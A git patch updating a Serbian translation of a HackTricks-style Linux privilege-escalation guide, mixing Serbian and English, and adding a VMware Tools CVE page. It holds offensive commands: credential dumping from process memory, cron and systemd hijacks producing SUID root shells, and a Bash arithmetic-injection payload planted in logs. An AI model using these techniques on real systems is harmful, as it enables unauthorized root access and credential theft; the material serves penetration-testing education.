From 50762a0ac50b5bb2663fad62d52e293b0ec169fa Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:19:34 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 660 ++++++++++-------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 ++++ .../pentesting-web/vmware-esx-vcenter....md | 16 +- 4 files changed, 513 insertions(+), 310 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 2ce383c34..901189bde 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Informacije o sistemu -### Informacije o OS-u +### OS informacije -Počnimo sa prikupljanjem informacija o operativnom sistemu koji je pokrenut +Počnimo da prikupljamo informacije o pokrenutom OS-u. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Ako **have write permissions on any folder inside the `PATH`** variable, možda ćete moći da hijack neke libraries ili binaries: +Ako **imate write permissions na bilo koji folder unutar `PATH`** varijable, možda ćete moći da hijack-ujete neke biblioteke ili binarije: ```bash echo $PATH ``` -### Info o env +### Info o environment variables -Postoje li zanimljive informacije, lozinke ili API ključevi u varijablama okruženja? +Ima li u environment variables zanimljivih informacija, lozinki ili API keys? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Proverite kernel version i da li postoji exploit koji se može iskoristiti za escalate privileges +Proverite kernel verziju i da li postoji neki exploit koji se može iskoristiti za escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Možete naći dobru listu ranjivih kernel verzija i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Drugi sajtovi na kojima možete naći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Možete pronaći dobar spisak ranjivih kernel verzija i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Drugi sajtovi gde možete naći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Da biste izvukli sve ranjive kernel verzije sa te stranice možete uraditi: +Da izvučete sve ranjive kernel verzije sa tog sajta možete uraditi: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Alati koji mogu pomoći pri pretraživanju kernel exploits su: +Alati koji mogu pomoći pri pretrazi kernel exploits su: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, samo proverava exploits za kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (pokrenuti na žrtvi, proverava samo exploits za kernel 2.x) -Uvek **pretraži verziju kernela na Google-u**, možda je tvoja kernel verzija navedena u nekom kernel exploit-u i tada ćeš biti siguran da je taj exploit validan. +Uvek **pretražite verziju kernela na Google-u**, možda je vaša verzija kernela navedena u nekom kernel exploit-u i tako ćete biti sigurni da je exploit validan. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo verzija -Na osnovu ranjivih verzija sudo koje se pojavljuju u: +Na osnovu ranjivih sudo verzija koje se pojavljuju u: ```bash searchsploit sudo ``` @@ -79,14 +79,14 @@ Pogledaj **smasher2 box of HTB** za **primer** kako se ovaj vuln može iskoristi ```bash dmesg 2>/dev/null | grep "signature" ``` -### Dodatna enumeracija sistema +### Više sistemske enumeracije ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Nabrojte moguće odbrane +## Enumeriši moguće odbrane ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Ako ste unutar docker container, možete pokušati da iz njega pobegnete: - +Ako se nalazite unutar docker container, možete pokušati da iz njega pobegnete: {{#ref}} docker-security/ @@ -132,69 +131,69 @@ docker-security/ ## Diskovi -Proverite **šta je montirano i odmontirano**, gde i zašto. Ako je nešto odmontirano, možete pokušati da ga montirate i proverite ima li privatnih informacija. +Proverite **šta je montirano, a šta nije**, gde i zašto. Ako nešto nije montirano, pokušajte da ga montirate i proverite ima li privatnih informacija. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## Korisni software +## Korisni softver -Nabroj korisne binaries +Nabroj korisne binarne fajlove ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Takođe proverite da li je **instaliran neki compiler**. Ovo je korisno ako treba da koristite neki kernel exploit, jer se preporučuje da ga kompajlirate na mašini na kojoj ćete ga koristiti (ili na nekoj sličnoj). +Takođe, proverite da li je instaliran **bilo koji compiler**. Ovo je korisno ako treba da koristite neki kernel exploit, pošto se preporučuje da ga compile-ujete na mašini na kojoj ćete ga koristiti (ili na nekoj sličnoj). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Instaliran ranjiv softver -Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara Nagios verzija (na primer) koja bi mogla biti iskorišćena za escalating privileges…\ +Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara Nagios verzija (na primer) koja bi mogla biti iskorišćena za escalating privileges…\ Preporučuje se ručno proveriti verziju sumnjivijeg instaliranog softvera. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastareli i ranjivi softver instaliran na toj mašini. +Ako imate SSH pristup mašini možete takođe koristiti **openVAS** da proverite zastareli i ranjivi softver instaliran na mašini. -> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će većinom biti beskorisne, zato se preporučuje korišćenje aplikacija kao što je OpenVAS ili sličnih koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits_ +> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će uglavnom biti beskorisne, stoga se preporučuju aplikacije poput OpenVAS ili slične koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits_ ## Procesi -Pogledajte **koji se procesi** izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebalo** (možda tomcat koji se izvršava kao root?) +Pogledajte **koji procesi** se izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebalo** (možda tomcat koji se izvršava kao root?) ```bash ps aux ps -ef top -n 1 ``` -Uvek proverite da li su pokrenuti [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra u komandnoj liniji procesa.\ -Takođe **proverite svoje privilegije nad binarkama procesa**, možda možete prepisati neku. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. ### Process monitoring -Možete koristiti alate kao što je [**pspy**](https://github.com/DominicBreuker/pspy) za nadgledanje procesa. Ovo može biti veoma korisno da identifikujete ranjive procese koji se često izvršavaju ili kada su ispunjeni određeni uslovi. +Možeš koristiti alate kao što je [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti veoma korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni zahtevi. ### Process memory -Neki servisi na serveru čuvaju **podatke za prijavu u čistom tekstu u memoriji**.\ -Obično su vam potrebne **root privilegije** da biste čitali memoriju procesa koji pripadaju drugim korisnicima, stoga je ovo obično korisnije kada ste već root i želite da otkrijete dodatne podatke za prijavu.\ -Međutim, zapamtite da **kao običan korisnik možete čitati memoriju procesa koje posedujete**. +Neki servisi na serveru čuvaju **credentials in clear text inside the memory**.\ +Obično će ti trebati **root privileges** da čitaš memoriju procesa koji pripadaju drugim korisnicima, zbog čega je ovo obično korisnije kada si već root i želiš da otkriješ više credentials.\ +Međutim, zapamti da **kao običan korisnik možeš čitati memoriju procesa koje poseduješ**. > [!WARNING] -> Imajte na umu da većina mašina danas **po defaultu ne dozvoljava ptrace**, što znači da ne možete dumpovati druge procese koji pripadaju vašem neprivilegovanom korisniku. +> Imaj na umu da većina mašina danas **ne dozvoljava ptrace po defaultu**, što znači da ne možeš dump-ovati druge procese koji pripadaju neprivilegovanom korisniku. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Fajl _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupačnost ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: svi procesi mogu biti debug-ovani, pod uslovom da imaju isti uid. Ovo je klasičan način na koji je ptrace radio. +> - **kernel.yama.ptrace_scope = 1**: može biti debug-ovan samo roditeljski proces. +> - **kernel.yama.ptrace_scope = 2**: samo admin može koristiti ptrace, jer zahteva CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: nijedan proces se ne može trace-ovati pomoću ptrace. Jednom postavljeno, potreban je reboot da bi se ptracing ponovo omogućio. #### GDB -Ako imate pristup memoriji FTP servisa (na primer) možete dohvatiti Heap i pretražiti unutar njega podatke za prijavu. +Ako imaš pristup memoriji FTP servisa (na primer) možeš dobiti Heap i pretražiti unutar njega credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB skripta ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati ID procesa, **maps pokazuje kako je memorija mapirana u okviru virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane regije**. Pseudosistemski fajl **mem** otkriva samu memoriju procesa. Iz **maps** fajla znamo koje su **memorijske regije čitljive** i njihove offset-e. Koristimo te informacije da se pozicioniramo u **mem** fajlu i dump-ujemo sve čitljive regije u fajl. +Za dati PID, **maps** prikazuju kako je memorija mapirana u virtuelnom adresnom prostoru tog procesa; takođe prikazuju **dozvole za svaki mapirani region**. Pseudo fajl **mem** izlaže samu memoriju procesa. Iz fajla **maps** znamo koji su **regioni memorije čitljivi** i njihove offsete. Koristimo te informacije da se pozicioniramo u fajl **mem** i snimimo sve čitljive regione u fajl. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` omogućava pristup sistemskoj **fizičkoj** memoriji, a ne virtuelnoj memoriji. Kernelov virtuelni adresni prostor može se pristupiti koristeći /dev/kmem.\ -Obično je `/dev/mem` čitljiv samo od strane **root** i grupe **kmem**. +`/dev/mem` omogućava pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Virtuelnom adresnom prostoru kernela može se pristupiti koristeći /dev/kmem.\ +Obično je `/dev/mem` čitljiv samo od strane **root** i **kmem** grupe. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump za Linux +### ProcDump za linux -ProcDump je Linux verzija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows. Nabavite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump je Linux verzija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +266,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Alati -Za dump memorije procesa možete koristiti: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i napraviti dump procesa koji vam pripada -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i dump-ovati proces koji je u vašem vlasništvu +- Script A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) ### Kredencijali iz memorije procesa #### Ručni primer -Ako otkrijete da je proces authenticator pokrenut: +Ako otkrijete da proces authenticator radi: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Možete dump the process (pogledajte prethodne sekcije da biste pronašli različite načine za dump the memory of a process) i pretražiti credentials unutar memory-ja: +Možete dump the process (pogledajte prethodne sekcije za različite načine za dump the memory of a process) i pretražiti credentials u memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **steal clear text credentials from memory** i iz nekih **well known files**. Potrebne su root privilegije da bi ispravno radio. +Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti kredencijale u čistom tekstu iz memorije** i iz nekih **dobro poznatih fajlova**. Potrebne su root privilegije da bi ispravno radio. -| Značajka | Naziv procesa | +| Funkcija | Ime procesa | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (aktivne FTP konekcije) | vsftpd | +| Apache2 (aktivne HTTP Basic Auth sesije) | apache2 | +| OpenSSH (aktivne SSH sesije - korišćenje sudo) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regex pretrage/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,9 +313,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zakazani/Cron jobs +## Zakazani/Cron poslovi -Proveri da li je neki zakazani job ranjiv. Možda možeš iskoristiti skriptu koju izvršava root (wildcard vuln? možeš li izmeniti fajlove koje root koristi? koristiti symlinks? kreirati specifične fajlove u direktorijumu koje root koristi?). +### Crontab UI (alseambusher) running as root – web-based scheduler privesc + +Ako web “Crontab UI” panel (alseambusher/crontab-ui) radi kao root i vezan je samo za loopback, i dalje mu možete pristupiti preko SSH local port-forwarding i kreirati privilegovani zadatak za eskalaciju privilegija. + +Tipičan lanac +- Otkrivanje porta dostupnog samo na loopback-u (npr. 127.0.0.1:8000) i Basic-Auth realm koristeći `ss -ntlp` / `curl -v localhost:8000` +- Pronađite kredencijale u operativnim artefaktima: + - Backupi/skripte sa `zip -P ` + - systemd unit koji izlaže `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Tunelovanje i prijava: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- Kreirajte high-priv job i pokrenite ga odmah (ostavlja SUID shell): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- Koristite ga: +```bash +/tmp/rootshell -p # root shell +``` +Ojačavanje +- Ne pokrećite Crontab UI kao root; ograničite ga na namenski korisnički nalog i minimalna ovlašćenja +- Vežite na localhost i dodatno ograničite pristup preko firewall/VPN; ne koristite iste lozinke +- Izbegavajte ugrađivanje tajni u unit files; koristite secret stores ili root-only EnvironmentFile +- Omogućite audit/logging za on-demand izvršavanje poslova + +Proverite da li je neki zakazani zadatak ranjiv. Možda možete iskoristiti skriptu koju izvršava root (wildcard vuln? možete li izmeniti fajlove koje root koristi? koristiti symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,11 +353,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na primer, u _/etc/crontab_ možete naći PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Napomena: korisnik "user" ima privilegije pisanja nad /home/user_) +(_Obratite pažnju da korisnik "user" ima pravo pisanja nad /home/user_) + +Ako u ovom crontabu root pokuša da izvrši command ili script bez postavljanja PATH-a. Na primer: _\* \* \* \* root overwrite.sh_\ -Ako u ovom crontab-u root user pokuša da izvrši neku komandu ili skript bez postavljenog PATH-a. Na primer: _\* \* \* \* root overwrite.sh_\ Tada možete dobiti root shell koristeći: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh @@ -337,13 +367,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron koji koristi skriptu sa wildcard-om (Wildcard Injection) -Ako se skripta izvršava kao root i sadrži “**\***” u nekoj komandi, možete to iskoristiti da učinite neočekivane stvari (poput privesc). Primer: +Ako skripta koju izvršava root sadrži “**\***” unutar komande, možete to iskoristiti da izazovete neočekivane radnje (npr. privesc). Primer: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je wildcard prethodi putanji kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** +**Ako je wildcard ispred putanje kao** _**/some/path/\***_ **, on nije ranjiv (čak ni** _**./\***_ **nije).** -Pročitajte sledeću stranicu za više wildcard exploitation trikova: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -353,11 +383,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash izvršava parameter expansion i command substitution pre arithmetic evaluation u ((...)), $((...)) i let. Ako root cron/parser čita nepouzdana polja iz loga i ubacuje ih u arithmetic context, napadač može injektovati command substitution $(...) koji se izvršava kao root kada cron pokrene. +Bash izvršava parameter expansion i command substitution pre arithmetic evaluation u ((...)), $((...)) i let. Ako root cron/parser pročita nepouzdana polja iz loga i ubaci ih u arithmetic context, napadač može da injektuje command substitution $(...) koji se izvršava kao root kada cron pokrene. -- Zašto radi: U Bash-u, expansions se dešavaju redom: parameter/variable expansion, command substitution, arithmetic expansion, pa zatim word splitting i pathname expansion. Dakle vrednost kao `$(/bin/bash -c 'id > /tmp/pwn')0` se prvo zameni (izvršavajući komandu), a zatim preostali numerički `0` se koristi za arithmetic tako da se skripta nastavlja bez grešaka. +- Zašto radi: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Tako vrednost poput `$(/bin/bash -c 'id > /tmp/pwn')0` bude prvo zamenjena (izvršavajući komandu), a preostali numerički `0` se koristi za arithmetic tako da skripta nastavi bez grešaka. -- Tipičan ranjiv obrazac: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +397,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Naterajte da tekst koji kontroliše attacker bude upisan u parsirani log tako da polje koje izgleda kao broj sadrži command substitution i završava cifrom. Osigurajte da vaša komanda ne piše na stdout (ili je preusmerite) tako da arithmetic ostane validan. +- Exploitation: Naterajte da se attacker-controlled tekst upiše u parsirani log tako da polje koje izgleda numerički sadrži command substitution i završava cifrom. Osigurajte da vaša komanda ne ispisuje na stdout (ili je preusmerite) kako bi arithmetic ostao validan. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,121 +406,121 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Ako **možete izmeniti cron skriptu** koju izvršava root, možete veoma lako dobiti shell: +Ako **možete modifikovati cron script** koji se izvršava kao root, možete vrlo lako dobiti shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Ako script koji izvršava root koristi **direktorijum kojem imate potpuni pristup**, možda bi bilo korisno obrisati taj folder i **napraviti symlink folder koji pokazuje na drugi** koji poslužuje script pod vašom kontrolom +Ako script koji root izvršava koristi **direktorijum na koji imate potpuni pristup**, možda bi bilo korisno obrisati taj direktorijum i **napraviti symlink ka drugom direktorijumu** koji sadrži script pod vašom kontrolom. ```bash ln -d -s ``` -### Česti cron jobs +### Česti cron jobovi -Možete nadgledati procese kako biste pronašli one koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možete iskoristiti za eskalaciju privilegija. +Možete pratiti procese kako biste pronašli procese koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možete iskoristiti i eskalirati privilegije. -Na primer, da biste **nadgledali svakih 0.1s tokom 1 minuta**, **sortirali po najmanje izvršenim komandama** i obrisali komande koje su se najviše izvršavale, možete uraditi: +Na primer, da biste **praćili svakih 0.1s tokom 1 minuta**, **sortirali po najmanje izvršenim komandama** i obrisali komande koje su se najviše izvršavale, možete uraditi: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Možete takođe koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i ispisati svaki proces koji se pokrene). +**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i prikazati svaki proces koji se pokrene). ### Nevidljivi cron jobs -Moguće je napraviti cronjob tako što ćete **staviti carriage return posle komentara** (bez newline karaktera); cron job će i dalje raditi. Primer (obratite pažnju na carriage return karakter): +Moguće je kreirati cronjob **stavivši carriage return posle komentara** (bez znaka novog reda), i cronjob će raditi. Primer (primetite carriage return karakter): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servisi -### _.service_ fajlovi koji su upisivi +### _.service_ datoteke kojima se može pisati -Proverite da li možete pisati bilo koji `.service` fajl, ako možete, možete ga **izmeniti** tako da **pokrene** vaš **backdoor kada** se servis **pokrene**, **restartuje** ili **zaustavi** (možda ćete morati da sačekate dok se mašina restartuje).\ -Na primer kreirajte vaš backdoor unutar .service fajla sa **`ExecStart=/tmp/script.sh`** +Proverite da li možete upisati bilo koju `.service` datoteku; ako možete, **možete je izmeniti** tako da **pokreće** vaš **backdoor kada** se servis **pokrene**, **restartuje** ili **zaustavi** (možda ćete morati da sačekate da se mašina restartuje).\ +Na primer kreirajte vaš backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`** -### Izvršne datoteke servisa koje su upisive +### Binarni fajlovi servisa kojima se može pisati -Imajte na umu da ako imate **privilegije za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih promeniti u backdoors tako da kada se servisi ponovo izvrše backdoors budu izvršeni. +Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih zameniti backdoorom tako da kada se servisi ponovo izvrše backdoor bude izvršen. -### systemd PATH - Relative Paths +### systemd PATH - Relativne putanje Možete videti PATH koji koristi **systemd** pomoću: ```bash systemctl show-environment ``` -Ako primetite da možete **write** u bilo kojoj od fascikli u putanji, možda ćete moći **escalate privileges**. Treba da tražite **relative paths being used on service configurations** u fajlovima kao što su: +Ako utvrdite da možete **pisati** u bilo kojem od direktorijuma na putanji, možda ćete moći **escalate privileges**. Potrebno je da pretražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao što su: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Zatim kreirajte **izvršni fajl** sa **istim imenom kao binarni fajl koji se poziva relativnom putanjom** unutar systemd PATH direktorijuma u koji možete pisati, i kada se od servisa zahteva izvršenje ranjive akcije (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu da startuju/zaustave servise, ali proverite da li možete da koristite `sudo -l`). +Zatim, kreirajte **izvršni fajl** sa **istim imenom kao binarni fajl relativne putanje** unutar systemd PATH foldera u koji možete pisati, i kada se servisu zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu startovati/stopovati servise, ali proverite da li možete koristiti `sudo -l`). -**Saznajte više o servisima pomoću `man systemd.service`.** +**Learn more about services with `man systemd.service`.** -## **Timers** +## **Tajmeri** -**Timers** su systemd unit fajlovi čije ime se završava sa `**.timer**` koji kontrolišu `**.service**` fajlove ili događaje. **Timers** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje po kalendarskom vremenu i monotone vremenske događaje i mogu se pokretati asinhrono. +**Tajmeri** su systemd unit fajlovi čija se imena završavaju sa `**.timer**` koji kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u, jer imaju ugrađenu podršku za kalendarske vremenske događaje i monotone vremenske događaje i mogu se pokretati asinhrono. -Možete izlistati sve timere pomoću: +Možete izlistati sve tajmere pomoću: ```bash systemctl list-timers --all ``` -### Timeri koji se mogu menjati +### Pisivi tajmeri -Ako možete izmeniti timer, možete ga naterati da izvrši neku jedinicu systemd.unit (npr. `.service` ili `.target`) +Ako možete izmeniti tajmer, možete ga naterati da izvrši neke postojeće jedinice systemd.unit (kao što su `.service` ili `.target`) ```bash Unit=backdoor.service ``` -U dokumentaciji možete pročitati šta je Unit: +U dokumentaciji možete pročitati šta je unit: -> Jedinica koja se aktivira kada ovaj timer istekne. Argument je naziv jedinice, čiji sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano pokazuje na service koji ima isto ime kao timer jedinica, osim sufiksa. (Vidi iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv timer jedinice budu identični, osim sufiksa. 